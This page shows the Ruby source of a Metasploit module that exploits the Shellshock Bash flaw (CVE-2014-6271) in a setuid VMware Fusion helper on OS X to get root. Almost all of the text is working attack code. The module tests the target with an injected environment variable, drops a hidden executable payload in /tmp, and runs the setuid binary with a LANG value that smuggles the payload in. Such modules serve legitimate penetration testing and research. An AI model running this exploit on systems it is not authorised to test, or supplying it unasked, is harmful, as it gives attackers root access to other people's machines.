Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/osx/local/vmware_bash_function_root.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Local6Rank = NormalRanking78include Msf::Post::File9include Msf::Post::OSX::Priv10include Msf::Exploit::EXE11include Msf::Exploit::FileDropper1213def initialize(info = {})14super(update_info(info,15'Name' => 'OS X VMWare Fusion Privilege Escalation via Bash Environment Code Injection (Shellshock)',16'Description' => %q{17This module exploits the Shellshock vulnerability, a flaw in how the Bash shell18handles external environment variables. This module targets the VMWare Fusion19application, allowing an unprivileged local user to get root access.20},21'License' => MSF_LICENSE,22'Author' =>23[24'Stephane Chazelas', # discovered the bash bug25'juken', # discovered the VMWare priv esc26'joev', # msf module27'mubix' # vmware-vmx-stats28],29'References' =>30[31[ 'CVE', '2014-6271' ],32[ 'CWE', '94' ],33[ 'OSVDB', '112004' ],34[ 'EDB', '34765' ]35],36'Platform' => 'osx',37'Arch' => [ ARCH_X64 ],38'SessionTypes' => [ 'shell', 'meterpreter' ],39'Targets' => [40[ 'Mac OS X 10.9 Mavericks x64 (Native Payload)',41{42'Platform' => 'osx',43'Arch' => ARCH_X6444}45]46],47'DefaultTarget' => 0,48'DisclosureDate' => '2014-09-24',49'Notes' =>50{51'AKA' => ['Shellshock']52}53))5455register_options [56OptString.new('VMWARE_PATH', [true, "The path to VMware.app", '/Applications/VMware Fusion.app']),57]58register_advanced_options [59OptString.new('WritableDir', [true, 'Writable directory', '/tmp'])60]61end6263def base_dir64datastore['WritableDir'].to_s65end6667def upload(path, data)68print_status "Writing '#{path}' (#{data.size} bytes) ..."69write_file path, data70register_file_for_cleanup path71end7273def check74check_str = Rex::Text.rand_text_alphanumeric(5)75# ensure they are vulnerable to bash env variable bug76if cmd_exec("env x='() { :;}; echo #{check_str}' bash -c echo").include?(check_str) &&77cmd_exec("file '#{datastore['VMWARE_PATH']}'") !~ /cannot open/7879CheckCode::Vulnerable80else81CheckCode::Safe82end83end8485def exploit86if is_root?87fail_with Failure::BadConfig, 'Session already has root privileges'88end8990if check != CheckCode::Vulnerable91fail_with Failure::NotVulnerable, 'Target is not vulnerable'92end9394unless writable? base_dir95fail_with Failure::BadConfig, "#{base_dir} is not writable"96end9798payload_file = "#{base_dir}/.#{Rex::Text::rand_text_alpha_lower(8..12)}"99exe = Msf::Util::EXE.to_osx_x64_macho(framework, payload.encoded)100upload payload_file, exe101cmd_exec "chmod +x #{payload_file}"102103print_status 'Running VMWare services...'104path = '/Contents/Library/vmware-vmx-stats' # path to the suid binary105cmd_exec("LANG='() { :;}; #{payload_file}' '#{datastore['VMWARE_PATH']}#{path}' /dev/random")106end107end108109110